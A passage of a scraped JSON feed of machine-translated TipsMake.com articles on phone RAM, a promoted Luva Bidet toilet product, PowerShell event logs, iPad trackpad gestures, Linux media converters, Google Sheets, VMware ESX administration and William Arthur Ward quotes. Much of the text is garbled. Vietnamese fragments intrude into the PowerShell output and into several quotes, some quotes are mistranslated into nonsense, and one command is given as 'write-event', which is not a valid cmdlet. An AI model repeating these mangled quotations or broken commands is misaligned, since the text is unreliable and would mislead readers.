details on the phone are meticulously welded by specialized machines, the RAM of the phone is also designed to hard solder to the main so it is difficult to repair and replace. However, if users still want to upgrade RAM for their phones, they must rely on the help of experts in this field. But it should be noted that the cost of doing it is almost as much as buying a new phone. Moreover, there is no certainty that after changing the phone, it works as smoothly and stably as in the beginning.\n This is the RAM device has been disassembled.\nShould I upgrade the RAM for my phone? Nearly all smartphones in the market today are optimized for design, the placement of components so that the area is the smallest. Therefore upgrading RAM for your phone is extremely complicated and difficult, it's not as simple as changing your computer's RAM. Users should only upgrade in case it can be done easily and the manufacturer supports equivalent RAM standards with higher capacity.\n Phone board with RAM.\nPerhaps, the best way to upgrade RAM for a phone is to buy a new phone with higher RAM. Meanwhile, all processing activities will synchronize to help the machine operate more sustainably and stably.\nSee more:\nHow to avoid memory errors in smartphones Free your computer RAM with just 4 effective commands Instructions on how to create a RAM drive on Windows ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdqr2ovsCdnGaqkaJ6p7vRZqSyZaCdvK%2Bx\n","link":"/post/should-i-upgrade-ram-for-my-phone/","section":"post","tags":null,"title":"Should I upgrade RAM for my phone?"},{"body":"In this article, TipsMake.com will introduce you to one of the most popular smart sanitary devices today: Luva Bidet. What does Luva Bidet stand out for and what is the best product? Let's find out now!\nLuva Bidet is a brand specializing in smart hygiene products of Vietnam, assembled on modern lines and technologies from Korea, providing intelligent cleaning solutions to completely replace paper towels. Birth or traditional washing methods. Luva Bidet has introduced to the market two main product lines: smart sanitary washers and smart toilet covers , compatible with most of existing toilet tanks on the market, with extremely affordable prices. , suitable for all families. Here are the details and reviews for this product line so you can understand and easily choose a suitable Luva Bidet!\nQuick review of content What is smart sanitary equipment? Should Luva Bidet be used? Which good Luva Bidet should be purchased? What is smart sanitary equipment? Smart toilet has 2 main types of smart sprinklers to fit into the toilet seat and smart toilet lid. With the basic function like a spray nozzle, it helps to clean the lower part of the body after solving the sadness without using toilet paper, so the smart sanitary equipment brings a clean, smooth feeling to users. . In addition, users who use the device only need to operate on the control panel, not need to hold the faucet directly by hand like regular sprays, so it feels more comfortable and hygienic. That is also the reason that this product line is very popular in Japan, Korea, installed at many luxury hotels in Vietnam and is also being trusted by the common users in Vietnam. bathing my house.\n  Luva Bidet smart spray hose mounted directly on the toilet.\nShould Luva Bidet be used? Currently there are many brands in the market that produce smart sanitary equipment such as Hyundae Bidet, Daewon Bidet, Blooming Bidet, Chungho, Toto, Inax . but Luva Bidet still finds its own place thanks to the advantages Highlights are as follows:\nKorean technology, reasonable price Produced and installed based on 100% Korean technology , with a long warranty period of 3 years and a real life of up to 10 years , Luva Bidet's price is very 'soft'. , only from 650 thousand - 2 million VND, it is suitable for the budget of every family, while saving significantly compared to the cost of buying toilet paper, it also brings convenience and comfort when being automatically cleaned in a way. comfortable, pleasant.\nSafe material, luxurious design, environmentally friendly Luva Bidet uses ABS plastic material safe for health and has a compact design with white color that brings absolute clean feeling, will definitely make you satisfied. In addition, thanks to the replacement of toilet paper and absolutely no use of electricity during operation, this device is also very environmentally friendly, in accordance with modern green lifestyle.\n  The Luva Bidet smart toilet seat can automatically open and close.\nUtility and user friendly One of the main advantages of Luva Bidet is the great benefits for the health and convenience of life that the product brings:\nRinse with gentle water, reduce the risk of gynecological diseases and infections for women, support and reduce the risk of hemorrhoids, constipation . Wash hose has a self-cleaning mode to ensure hygiene when used. Helping children become more independent, can go to the bathroom without the support of parents or adults. Minimize and limit the risk of obstructing the toilet when not using toilet paper. Completely free of additional installation space, it is possible to install quickly and easily with all types of toilets. Without using the hand to hold the hose directly, moderate and strong water force is adjustable, the sprayed water beam is precisely designed so that it does not worry too much water causing pain or splashing on the clothes or to the floor when using.   Luva Bidet gives water jet precise spray with moderate force.\nWhich good Luva Bidet should be purchased? Currently Luva Bidet has launched two main product lines: smart wash nozzle and smart toilet lid . Wash hose can be installed directly on the toilet and has the advantage of low cost of less than 1 million VND. The smart toilet lid has a bigger advantage than the spray nozzle which is extremely convenient for automatic opening and closing. The price of these two product lines differs from 700 to 800 thousand VND so you can optionally choose according to your budget for reasonable.\nNow both of these Luva Bidet products have 2 versions, which are usually cold water version and hot and cold version can be used with both cold water and hot water to clean. If your family has elderly people, children or live in areas with cold winters, choose the hot and cold version to ensure everyone's health in all weather conditions; otherwise, you just need to choose the regular version is also very good. The price of hot water is usually higher than 200-300 thousand VND compared to the normal version.\nCurrently, you can order Luva Bidet at META.vn with a preferential price of up to 22% of the market price. Luva Bidet samples at META.vn for your reference (all prices are VAT):\nSmart Luva Bidet LB201: Price 649,000 VND Intelligent toilet washer LUVA LB202 Bidet (hot and cold version): VND 869,000 Smart toilet lid Luva Bidet LB203: Price 1,320,000 VND Smart toilet lid Luva Bidet LB204 (hot, cold): Price 1,620,000 VND Hopefully the above information will be useful for you to no longer wonder whether to use Luva Bidet or not and can choose a good product, bring a comfortable, modern and convenient life. benefits and helps protect the health of the whole family.\nSee also : 6 reasons to use smart sanitary equipment\nIf you want to consult and order Luva Bidet right away, please visit META.vn website immediately to order online or call Hanoi hotline 024.35.68.69.69 - TP. HCM 028.38.33.33.66 for the fastest purchase support.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqSlq65ursidnK1lkpp6tr%2FEnWSwoJGpeqq%2FjK2fnmWSmsC1\n","link":"/post/should-luva-bidet-be-used-what-is-the-best/","section":"post","tags":null,"title":"Should Luva Bidet be used? What is the best?"},{"body":"TipsMake.com - In the following article, we will introduce and show you how to use PowerShell to create log records on the system, specifically the cmdlet Write-EventLog . The basic syntax of this command is in the form of:\nPS C:\u0026gt; help Write-EventLog\nNote that when using this cmdlet, you must declare the log file name, source, event id and corresponding message. Very similar to the EVENTCREATE.EXE command tool, but users cannot use non-standard or similar sources. Instead, they must first create specifications or data sources. And one of the easiest ways to find data sources is to use Windows Management Instrumentation (WMI).\nPS C:\u0026gt; $ log = Get-WmiObject win32_nteventlogfile -filter \"filename = 'system'\"\nPS C:\u0026gt; $ log.Sources System ACPI adp94xx adpahci adpu320 .\nIf one of the above sources seems appropriate, please record it as a record as follows:\nPS C:\u0026gt; write-event System -source Server -eventid 12345 -message \"I am a custom event log message\"\nThe default entry type is Information , users can create eventID separately and change, edit at any time:\nPS C:\u0026gt; get-eventlog system -newest 1 |Format-list EventID, EntryType, Source, Message\nEventID: 12345 EntryType: Information Source: Server Message: The description for Event ID '12345' in Source 'Server' cannot be tìm thấy. Máy ảnh cục bộ không có có phần mềm cần thiết thông tin hoặc tập tin DLL tập tin để hiển thị thông báo, hoặc bạn có thể không có quyền để truy cập thêm. The following inform là phần của phần của sự kiện:\nSuppose that if you want to search for any event ID or message, you will get a small error like this:\nPS C:\u0026gt; get-eventlog system -newest 1 -message \"* custom event *\"\nIndex Time EntryType Source InstanceID Message ----- ---- --------- ------ ---------- ------- 1512222 Jan 25 10:05 Information Server 12345 The des .\nNot really perfect, but still functioning properly. While theoretically we can register with new data sources, and can also create new records by using the cmdlet New-Eventlog command. Usually this cmdlet is applied to developers, programming a fixed event log model. In the following example, we will create a log in custom format, and initialize a number of different data sources.\nPS C:\u0026gt; new-eventlog -LogName PSLogging -Source ADSI, WMI, Test, Other\nCheck what was created:\nPS C:\u0026gt; $ log = Get-WmiObject win32_NTEventlogfile -filter \"filename = 'PSLogging'\"\nPS C:\u0026gt; $ log | fl FileSize: 69632 LogfileName: PSLogging Name: C: WindowsSystem32WinevtLogsPSLogging.evtx NumberOfRecords: 0\nThat's a completely new log file, followed by a check of the data source - source:\nPS C:\u0026gt; $ log.sources\nPSLogging ADSI Other Kiểm TRA WMI\nAnd finally, enter any data here:\nPS C:\u0026gt; Write-EventLog PSLogging -Source Test -eventID 1000 -Message \"I am the first entry\"\nBesides, we can use any event ID, or create them at will:\nPS C:\u0026gt; get-eventlog PSLogging |format-list\nIndex: 14 EntryType: Information InstanceId: 1000 Message: I am mục nhập đầu vào Category: (1) CategoryNumber: 1 ReplacementStrings: {I am the first entry} Source: Test TimeGenerated: 1/25/2012 10:45:47 AM TimeWritten: 1/25/2012 10:45:47 AM UserName:\nAt this step, Windows will no longer 'care' for the event ID. If you want to add any other data source, you only need to re-use the cmdlet New-Eventlog:\nPS C:\u0026gt; New-EventLog PSLogging -source Scripting\nAnd our new source here:\nPS C:\u0026gt; Get-WmiObject win32_NTEventlogfile -filter \"filename = 'PSLogging'\" |Select -expand Sources\nPSLogging ADSI Other Scripting Kiểm TRA WMI\nThe cmdlet New-Eventlog command has the parameter -computername , so it's much easier to create any new eventlog on the entire Desktop or server - where we want to monitor and manage the log. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKmmsJ2iqLWmuMtmq6hlk6eyosDEZpyvnZ6pubCz\n","link":"/post/use-powershell-to-create-eventlog/","section":"post","tags":null,"title":"Use PowerShell to create EventLog"},{"body":"In March, Apple's iPad lineup gained a significant feature in the form of trackpad and mouse support with the release of iPadOS 13.4. Being able to control your tablet without touching the display brings the iPad closer to working as a laptop, and in turn, makes it easier to get more work done.\u0026nbsp;\nFor example, highlighting text or applying edits to a photo is much faster and more precise with a mouse pointer than using your finger. Add in the ease of scrolling with a quick flick of your wrist, or switching between apps, and after a couple of hours of using a trackpad with the iPad, you'll never want to go back.\u0026nbsp;\n However, not all trackpads or mice are created equal. There's a big difference in overall experience when using Apple's first Magic Trackpad or its newer Magic Trackpad 2, which we'll cover more in-depth below.\u0026nbsp;\nI'll walk you through some of the core gestures that work across all trackpads, and then show you all of the gestures that work on Apple's latest Magic Trackpad.\u0026nbsp;\nWhat you can do with any trackpad or mouse Here are some key navigation tips for getting around your iPad with a standard mouse or trackpad.\u0026nbsp;\nShow the app dock\u0026nbsp;by attempting to drag the cursor off the bottom of the screen.\u0026nbsp;\nControl Center\u0026nbsp;is home to various system shortcuts, including music controls along with the Wi-Fi and Bluetooth connection settings. Move the cursor to the top-right corner of the iPad's screen, where the battery indicator is, and click. Alternatively, you can keep dragging the cursor up in the same corner until Control Center appears.\u0026nbsp;\nView your notifications\u0026nbsp;by dragging the mouse cursor to the top of the screen and either clicking on the time or keep moving the cursor as if you're trying to go past the screen's edge. I've found it starts working roughly a few inches to the left of the battery indicator all the way to the left-hand corner, where the time and date are located.\nAccessing apps in Slide Over\u0026nbsp;view is done by dragging the mouse cursor to the right side of the screen, then continue to drag it. Your Slide Over app(s) will then show up.\u0026nbsp;\nQuickly switch between slide over apps\u0026nbsp;can then swipe in either direction with three fingers to switch between them.\u0026nbsp;\nApple's Magic Trackpad 2 unlocks all the gestures Using a Magic Trackpad 2 with an iPad running iPadOS 13.4 adds some key gestures into the mix. You can use a third-party trackpad or the original Magic Trackpad for basic tasks, like clicking and selecting the text. But to get the most out of the iPad's trackpad support, you'll want to use Apple's Magic Trackpad 2.\u0026nbsp;\nI've tested these gestures on a Magic Trackpad 2 and a third-party trackpad, and some, like scrolling work on both. Others do not. You can still try to use these gestures on a non-Apple trackpad, but the results will be mixed.\u0026nbsp;\nUnlock the iPad by tapping on the trackpad, then swiping up with three-fingers to reveal the homescreen.\u0026nbsp;\nRight-click by pushing down with two fingers.\nScroll up or down with two fingers, just like you would on a trackpad connected to a PC or Mac. Alternatively,\u0026nbsp;scroll left or right with two fingers on the trackpad.\nReturn to the homescreen by swiping up on the trackpad with three fingers.\u0026nbsp;\nView the app switcher with a three-finger swipe up, but pausing halfway.\nForce close apps from the app switch by moving the cursor to the app and swiping up with two fingers.\u0026nbsp;\nSwitch between homescreens by swiping to the left with two fingers.\u0026nbsp;\nAccess the\u0026nbsp;Today View on the homescreen with a swipe to the right using two fingers.\nQuickly switch between apps by swiping left or right with three fingers.\u0026nbsp;\nOpen search with a two-finger swipe down on the home screen.\u0026nbsp;\nIf I missed any gestures, be sure to leave a comment and let me know. I'll add it to this list. After mastering these gestures, be sure to check out more iPadOS tips to help increase your productivity. Once you're done with that, here are some general -- but useful -- tips and tricks for iPadOS, along with some hidden features you're sure to love.\nncG1vNJzZmismaXArq3KnmWcp51kfnZ5yKmYnWWkp66kt8%2Bam2aflajBtr7ErGStp12csrV5wKumrqaUYsSqwMeorK1lpJa9sbXNoGStoJViwKS%2BxJ6l\n","link":"/post/15-ipad-trackpad-gestures-to-get-around-without-tapping-the-screen/","section":"post","tags":null,"title":"15 iPad trackpad gestures to get around without tapping the screen"},{"body":"There are many different media formats. This is good news for those who want a lot of choices, but can be a significant drawback when trying to play media content. Some software does not accept specific file formats. This can also be a real nuisance when trying to move multiple file formats between devices.\nTo solve this problem, you will want to download a media converter. Fortunately, Linux users are spoiled for choice when it comes to open source audio and video converters.\nHere are the best media converters available today for Linux, including a range of different file formats.\nWhat is the best application for converting audio and video files on Linux? 1. soundKonverter 2. HandBrake 3. SoundConverter 4. FFmpeg 5. K3b 1. soundKonverter   soundKonverter is one of the best Linux audio converters available today. This free software can convert almost any audio file, including MP3, FLAC, WMA, AAC, M4A and a whole host of other files. Despite its name, this app is not limited to audio formats. If you install some extension plugin, soundKonverter can also be a video converter for Linux. In addition, soundKonverter can convert MKV, MPEG, MOV and MP4 video files.\nSome settings allow you to specify audio bitrate, whether to use FFmpeg plugins and output directory. Switching between output types also allows you to specify file-specific options, such as compression speed for FLAC files and output quality for Ogg Vorbis format.\nThe biggest attraction here is the speed. soundKonverter is one of the fastest Linux media converters. For those who prefer to keep their media files organized, the app can read, write and store tags. Although today most computers do not include a drive, you can also use soundKonverter to extract the CD, thanks to the cdparanoia backend.\n2. HandBrake   HandBrake is a well-known name in the media converter market. This application may be best known as a media converter for Windows, but this popular open source video converter is also available for Linux. Unlike soundKonverter, HandBrake only focuses on video conversion. It is also easy to use, providing built-in presets for specific devices.\nThese presets optimize video conversion for the device you want, whether it's a smartphone, laptop or TV. There are also a range of options, allowing you to add chapter markers, subtitles and video filters. To help organize, Handbrake allows you to add tags to the output file. You can also trim video and add rate.\nHandBrake is available for Linux, macOS and Windows, making it one of the best cross-platform video converters. This is useful if you use multiple operating systems and want a consistency between them. If you have a physical DVD that you want to rip into your digital library, HandBrake can also help with this.\nHow to install Handbrake on Linux 3. SoundConverter   Not to be confused with soundKonverter with the same name! SoundConverter is another great audio converter for Linux. The application is designed for the GNOME desktop and supports output for Ogg Vorbis, FLAC, MP3 and WAV audio formats.\nHowever, this tool can read any audio file format supported by GStreamer. SoundConverter is a reasonably simple application that allows you to convert between many audio formats. The developers note that the command line tools will always be faster, but their application is a bit slower, but easier to use.\nThere are a range of options, which allow you to rename the output files, adjust the bit rate and preserve the CPU by limiting the number of concurrent jobs.\n4. FFmpeg   FFmpeg is one of the best MP3 converters for Linux or any other platform. This cross-platform software is available for Linux, macOS and Windows. FFmpeg provides a similar experience with Handbrake, but for audio, not video.\nThis is not only one of the most established options but also supports the most audio formats.\nAccording to FFmpeg's website, the software supports 'almost everything that humans and machines have created'. FFmpeg is very powerful. Library of applications is also often used by other software to support many different audio files.\nFor example, to export Audacity files to MP3, you will need to install FFmpeg. This is especially useful if you want to burn a disc to your computer using Audacity.\nThis is a command-line tool that can be a little scary for some users who like GUI applications. There are many FFmpeg interfaces that use installed libraries, but do not require command line knowledge to get started.\n5. K3b   While most people now listen to media on computers, laptops, and smartphones, sometimes you'll want to use a dedicated CD or DVD player instead.\nHowever, if your library is digital, you will need to convert your media to the right format and burn it to a physical disc.\nK3b is one of the best CD and DVD builders for Linux, first released in 1998. However, this software is still modern, fast and hassle-free. However, that does not mean that it is not powerful or integrated with many features. This application allows you to create projects that can consist of one or more disks.\nFor those who are comfortable with physical backups, you can also use K3b to create disks with only data for backups. Although not a common situation today, you can also use software to erase and format the rewritable disc. If you are looking for more options, there are also other ways to create and play DVDs in Linux.\nOne of the reasons why people choose to use Linux over macOS or Windows is because of the wide selection that the platform offers. However, many companies only allow you to buy or download media content in specific formats, limiting which devices you can use on it.\nThese free media converters for Linux give you that freedom. By easily converting media between formats, you can enjoy their content on any device you want.\nAfter you've returned your files to your preferred format, you'll want to have access to them on all your devices. Instead of manually copying the data, consider using one of these media server software options for Linux instead.\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZpmgpbmqr8CtoKimo2LBsHnCqKWvnaKpeqLBw6KmZpmemXq3tcOepmaemaGytHnOp2SloZ6qxQ%3D%3D\n","link":"/post/5-best-applications-to-convert-audio-and-video-files-on-linux/","section":"post","tags":null,"title":"5 best applications to convert audio and video files on Linux"},{"body":"You may be familiar with the basic concepts of Google Sheets, but Google spreadsheets have many great features you may not know. This article will introduce you to 5 useful features of Google Sheets.\nEnter the data sheet from the web page into the spreadsheet This may sound super boring but it is really useful. If a site has a table or list of information you want to track, you can use the ImportHTML function to filter information and paste it into a spreadsheet. After that, the data will automatically update when you open the spreadsheet (if there is a change on the original board). This function has a syntax of:\n= ImportHTML ('URL', \"table\", 0)\nThe URL is a web page with data, 'table' is the way data is displayed on the web page (you can also use 'list' if it's a list) and '0' represents the table you want to enter if there is one. multiple tables on the site (0 is the first, 1 is the second, etc.).\n  The example above is a table that tracks statistics for a fantasy tournament. You can enter different statistics from the website like Baseball Reference on the spreadsheet. Of course you can bookmark this site but with the ImportHTML function you can edit and retrieve specific data (by adding Col1, Col4, etc. after '0'), as well as loading data from another table on other websites and express all in a spreadsheet.\nLink data from other spreadsheets If there are multiple spreadsheets (or multiple sheets in a spreadsheet) that are interrelated, you can link the data in these spreadsheets.\nYou can reference cells from other worksheets (or the entire spreadsheet). For example, there is a spreadsheet, in which a worksheet keeps spending at a grocery store and a worksheet contains spending for the month. And you have another spreadsheet that includes the expenditure of each month for different items. In this total spend spreadsheet, you can refer to the grocery store worksheet and a specific cell containing the sum. When updating the original worksheet, the value on the master sheet will automatically update.\n  The function will look like this:\n= sheet1! B5\n\"Sheet1\" is the name of the worksheet with the data you want to reference and \"B5\" is the cell you want to reference, between these two numbers is an exclamation mark. If you want to reference data from a completely different spreadsheet, you will use the following IMPORTANGE function:\n= IMPORTRANGE (\"URL\", \"sheet1! B5\")\nThe URL is a link to another spreadsheet, which will link the cell in this spreadsheet to the cell where you entered the formula. When the cell updates with a different value, this box also updates accordingly. You can reference a range like B5: C10 with this function.\nHow to link data between spreadsheets in Google Sheets Conditional formatting This feature seems more popular than the above features. Conditional formatting allows you to change the appearance of a cell based on the data it contains. You can access this feature by clicking on ' Fomat ' in the toolbar and then selecting the ' Conditional Formatting ' command. In the table that opens on the right, you can set parameters. For example, it is possible to fill a cell or multiple cells with green if its value is greater than 0.\n  In addition, you can use the IF function, although not part of a conditional format, but it allows you to add a certain value to a separate cell whenever the value in the cell is a specific number:\n= IF (B4\u0026gt; = 63, \"35\", \"0\")\nSo in this example, if the cell value B4 is 63 or greater, you can automatically make the value of the current cell 35 and if not, the value will be 0.\nEmbed a spreadsheet on the website   If you've created a calendar or list in Google Sheets and when sharing this document with others, you'll send them email to view it. However, if you need to add other information on your blog or website, you can embed this spreadsheet on the website.\nTo do this, navigate to File\u0026gt; Publish to the Web . From here click on the ' Embed ' tab and then choose to embed either the spreadsheet or just a specific sheet. Then, just copy and paste the iFame code into the website.\nUse the script with the spreadsheet   With Google Apps Script, you can use scripts with spreadsheets, discover available add-ons by going to Tools\u0026gt; Add-Ons or you can write scripts yourself by selecting Script Editor in the Tools menu.\nFor example, you can write a custom script that allows you to press a certain button to immediately add a specific value to the existing values ​​in a cell.\nSee more:\nTricks using Google Sheets should not be ignored How to convert Excel file to Google Sheets How to use Filter function on Google Sheets ncG1vNJzZmismaXArq3KnmWcp51kgm6zzqiepZ1dqLWmsdOsZJ%2BdkanCs7HSZrCorV2otbDBy51kpKafrA%3D%3D\n","link":"/post/5-google-sheets-features-you-should-know/","section":"post","tags":null,"title":"5 Google Sheets features you should know"},{"body":"David Davis\nNetwork administration - VMware ESX server is a complex product. It combines Linux's Service console to run multiple virtual machine operating systems, all on the same server. There are several ways to administer ESX. You may be considering a VMware ESX server or you may have installed it but want to learn more about how to administer it. If you are in the above two objects, this article is exactly what you need to find. Find out 5 different ways you can administer your VMware ESX server.\n1. Access the console into the service interface\nJust like any operating system, you can access the VMware ESX server console. From the console, access the Linux login window to log into the ESX Service Console. What you won't see here is the graphical interface. To use this admin form for ESX server, you must have some knowledge of Linux as well as some knowledge of VMware ESX commands and terminology.\nNormally, the console of an ESX server will look like the one shown below:\n  If you press Alt-F1 , you can access the Linux login prompt of the ESX service console and log in to a command prompt like the one shown below:\n  The downside of this method is: you must always perform at the interface (or connect with IP KVM) and must know Linux to perform its tasks (no graphical interface).\n2. SSH into the service interface\nYou can SSH to the console prompt of the ESX server and get access to that interface as described above. Telnet is not allowed. To use this method, your ESX server must work on the network and you must have an SSH client on your computer to connect. In this mode you don't have a graphical interface either.\n  3. Access the web from virtualized infrastructure to ESX server\nThe easiest way to access the VMware ESX server's graphical admin window is to use the VMware Virtual Infrastructure (VI) Web Access interface. This is the interface installed and enabled by default. To get it, all you need to do is a network computer, a web browser, an ESX server's IP address and a valid login.\nAccessing it is as simple as opening a web browser and entering the IP (or DNS) address of the ESX server. What you will see is a welcome screen, which will display your administrative options.\n  Click Login to Web Access to view the web login screen:\n  What you will see next is the window like the one below:\n  This is the VMware VI Web Access interface. The advantage in using this method is that you get a graphical interface to administer the ESX server without having to install a client on the local machine. However, the downside of the web interface is that you can only perform some basic ESX functions such as controlling existing machines (start / stop / pause) and accessing the remote interface. Cannot add new virtual machines, nor can it work with VM repositories or VM networks. However, this interface is very useful in checking the status of the ESX VM, rebooting the virtual machine and using the remote control interface.\n4. VMware Virtual Infrastructure Client (VI Client) on the server\nThe best way to remotely administer your VMware ESX server is Virtual Infrastructure (VI) Client. This is an installable client that provides you with full access to administer the ESX server. This client can be downloaded and installed easily from the ESX welcome screen by clicking here:\n  This will prompt you to run or save the VMware-viclient.exe installation program\n  The installation process is very simple. When the installation is complete, you can run the VI Client from the created desktop icon.\n  From here, you will log into the VI Client with name / IP, server username and password.\n  This is what the VI Client shows when you log in:\n  The advantage of the VI client is that you have full access to do anything necessary on the ESX server and have a graphical interface to perform. The only weakness here is that you must install the VI client application. However, this installation is negligible and the VI client is the best way to administer ESX Server. Even, the VI client can be used with VMware Virtual Center Server - to give you option 5 below.\n5. VMware Virtual Infrastructure Client (VI Client) into Virtual Center Server (VC Server)\nAlso the VI Client can be used to administer this single ESX server that can also be used to administer the entire data center of VMware ESX servers. Instead of pointing the VI client to the name / IP of the ESX server, all you need to do is point it to the name / IP of the Virtual Center server (VC). Suppose you have a VC and are active. You will then have to log in with the user account of the VC server (a Windows account) instead of the ESX Linux account.\nThis is what you can see:\n  From this VC interface, you can administer all ESX servers, VM repositories, and VM networks, and . Virtual Center is indeed an optional product that requires subscriptions and sections. additional hard.\nConclude\nVMware ESX server is truly an incredible product with a number of different administrative options. In this article, we have shown you how to administer ESX server from the console, via SSH, web interface, using VI Client directly to the server and finally using the VI Client with Virtual Center. In our opinion, using the VI client is always the best choice for you. However, there are situations where you just need to use the Linux CLI interface to administer and troubleshoot ESX servers.\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYq6lucinoKyslad6t7nWmqmeZZWoxW6%2FxKutnqo%3D\n","link":"/post/5-ways-to-administer-vmware-esx-server/","section":"post","tags":null,"title":"5 ways to administer VMware ESX Server"},{"body":"William Arthur Ward (1921 - March 30, 1994) is an American educator, author of Fountains of Faith - The Source of Faith. He is one of America's most cited writers for inspirational quotes.\n34 profound statements about life\nMore than 100 Ward articles, poems and thoughts were published in magazines such as Reader's Digest, This Week, The Upper Room, Together, The Christian Advocate, The Adult Student, The Adult Teacher, The Christian Home, The Africa Delta Kappan, Science of Mind, The Methodist Layman, Sunshine, and Ideals. He is one of the most cited writers in the Quote pages, an international weekly magazine for rhetoric.\n1. Praise me, and I may not believe you.\nCriticize me, and I may not like you.\nIgnore me, and I may not forgive you.\nEncourage me, and I may not forget you.\nLove me, and I may be forced to love you.\nFlatter me, and I may not believe you.\nCriticize me, and I may not like you.\nIgnore me, and I may not forgive you.\nTình Yêu em, và I sẽ không biết bạn.\nTình yêu bạn và I không thể yêu cầu để yêu cầu bạn.\n  2. Love is not just a noun - it is a verb; it is not just emotion - it is caring, sharing, helping, sacrificing.\nLove is more than a noun - it is a verb; it is more than a feeling - it is caring, sharing, helping, sacrificing. 3. Your friend really knows your weaknesses but only shows you strengths; feel your fear but strengthen your beliefs; see your worries but help you release your spirit; recognize what you are helpless but emphasize what you can do.\nBạn có thể biết biết xử lý còn trạng thái của bạn, nhưng các sự bạn có thể; feels your fears but fortifies your faith; sees your anxieties but frees your spirit; recognizes your disabilities but emphasizes your possibilities. 4. The advent of life is learning. The purpose of life is maturity. The nature of life is change. The challenge of life is to overcome. The essence of life is caring. The opportunity of life is to serve. The secret of life is to do it. The taste of life is to help. The beauty of life is giving.\nHành động của xa là thành học. The purpose of life is to grow. Tình trạng của tình trạng cần chuyển đổi. The challenge of life is to overv. Tập tin: cơ sở dữ liệu này Cấu hình cơ sở dữ liệu là để tạo. The secret of life is to dare. Người dùng spice cần được befriend. The beauty of life is to give. 5. Before you talk, listen.\nBefore you write, think.\nBefore you spend, earn.\nBefore you invest, find out.\nBefore you criticize, wait.\nBefore you pray, forgive.\nBefore you give up, try.\nBefore you retire, save.\nBefore you die, give it away.\nBefore you speak, listen.\nBefore you write, think.\nBefore you spend, earn.\nBefore you invest, kiểm tra.\nBefore you criticize, wait.\nBefore you pray, forgive.\nBefore quit, hãy thử.\nBefore you retire, save.\nBefore you die, give.\n  6. Fresh friendship on the stream of forgiveness.\nFriendship flourishes at the fountain of forgiveness. 7. Today's patience can turn yesterday's frustrations into tomorrow's discovery. Today's goals can turn yesterday's failures into tomorrow's determination.\nToday's patience can transform yesterday's discouragements into tomorrow's discoveries. Today's purposes can turn defeats yesterday into tomorrow's determination. 8. Learn when others sleep; labor when others are lazy; prepare when others play; and there is a dream when others only desire.\nStudy while others are sleeping; work while others are loafing; prepare while others are playing; and dream while others are wishing. 9. You are the one who feels comfortable when you are together, you are loyal, giving us blessings and you feel grateful to have them in your life.\nNgười dùng là một với người dùng, bạn có comfortable, để bạn có loyal, qua bạn mà blessed, và cho bạn nào được ghi rõ.\n 10. People never plan to fail; they simply failed to plan for success.\nMen never plan to be failures; chúng cần không thành công để thiết kế thành công. 11. Three keys to a fulfilling life: caring for others, daring to do it for others, sharing with others.\nLiving with others living: caring about others, daring for others, sharing with others. 12. Forgiveness is the key to opening the door of resentment and handcuffs of hatred. It is a power that can break the shackles of bitterness and shackles of selfishness.\nForgiveness is the unlocks key for door of resentment and handcuffs of hate. Đây là một quyền hạn bị tắt các chuỗi còn lại và các shackles của Selfishness. 13. The wise are the ones who learn these truths: Trouble is temporary. Time is tonic. Suffering is a test tube.\nWise bạn có thể đọc các sự này: Trouble là tạm thời. Time is tonic. Tribulation is a test tube. 14. A new year comes . One year to live! To dispel worries, doubts and fears, To love and laugh and give!\nThis bright new year is given to me\nTo live the enthusiasm every day . To grow day by day and try My best effort!\nI was given the opportunity\nTo once again correct the mistake, To pray for peace, to plant trees, And to sing the joyful song!\nAnother fresh new year is here . Another year to live! To banish worry, doubt, and fear, To love and laugh and give!\nThis bright new year is given me To live each day với zest . Hãy đặt daily và thử tạo My highest and my best!\nI have Opportunities Once more to right some wrongs, To pray for peace, to plant a tree, And sing more joyful songs!\n  15. Optimism is a seed planted on the land of belief; Pessimistic is the seed stored in a suspicious cellar.\nOptimist là một kích cỡ tử trong trong cơ sở dữ liệu; pessimism is a seed hoarded in the vault of doubt. 16. It is wrong to be human; tripping is normal; can laugh at yourself as an adult.\nTới tạo lỗi là người nhân; to stumble is commonplace; để có thể được khởi động ở mình là maturity. 17. Half-hearted effort is a true failure.\nA second-class effort is a first-class mistake. 18. Fortunately for those who learn to admire without being jealous, follow without imitating, praising without flattering, and leading the way without manipulation.\nBlessed là bạn có người học đã biết đến admire nhưng không thể ghi rõ, để theo sau, không phải là gì 19. We must be silent before we can listen.\nWe must listen before we can learn.\nWe must learn before we can prepare.\nWe must prepare before we can serve.\nWe must serve before we can lead the way.\nWe must be silent before we can listen.\nWe have to listen before we can learn.\nBạn cần phải biết trước khi chúng thể làm việc.\nBạn cần phải làm việc trước khi không thể SERV.\nWe phải cung cấp trước khi có kết quả. 20. If you want to be interesting, enjoy, if you want to be satisfied, please make others happy, if you want to be loved, be lovely, if you want help, be willing. help.\n  If you would be interested, be interested, if you would be pleased, be lovable, if you would be helped, be helpful. 21. Today can become a vigorous day with you - and with others - if you take the time to give someone a smile . to utter a kind word . to give your hand for those in need of help . to write a thank you . to give an encouragement to the person trying to overcome the trouble . to share a piece of material possessions with those around.\nMay be a little unusual for you - and for others - if you take time to give someone a smile . to express a word of kindness . to lend note của gratitude . để đưa ra một từ encouragement để một người này bị giữ lại với lỗi . để share một phần của bạn material possessions with others. 22. Accept defeat with pride, accept criticism with poise, receive honor with humility - it is a sign of maturity and generosity.\nĐể Bear bị gỡ bỏ với dignity, để nhận diện sự kiểm tra với poise, để nhận được với humility - các các sự xác thực của maturity và graciousness. 23. Doing more is only present: join.\nDo more than just care: please help.\nDo more than trust: practice.\nDo more than just know: be kind.\nDo more than just forgive: forget it.\nDo more than just wish: work.\nDo more than belong: participate.\nDo more than care: help.\nDo more believe coal: practice.\nDo more than be fair: be kind.\nBecause more than forgive: forget.\nDo more than dream: work. 24. The pessimist complains about the wind; optimist waiting for it to change direction; the actual person adjusting the sail.\nThe pessimist complains about the wind; sự optimist muốn tạo nó; the realist adjusts the sails. 25. The future belongs to people who believe in beauty in their dreams.\nCác sự cuối cùng với các người học đang biết trong sự đẹp của chúng.\n  Deep Jewish sayings about life\n26. Everyone has the power to bring happiness to others\nSomeone does that simply by entering the room - another by leaving the room.\nSome people leave behind silly steps; others, traces of joy.\nSomeone left behind a line of hatred and bitterness; others, traces 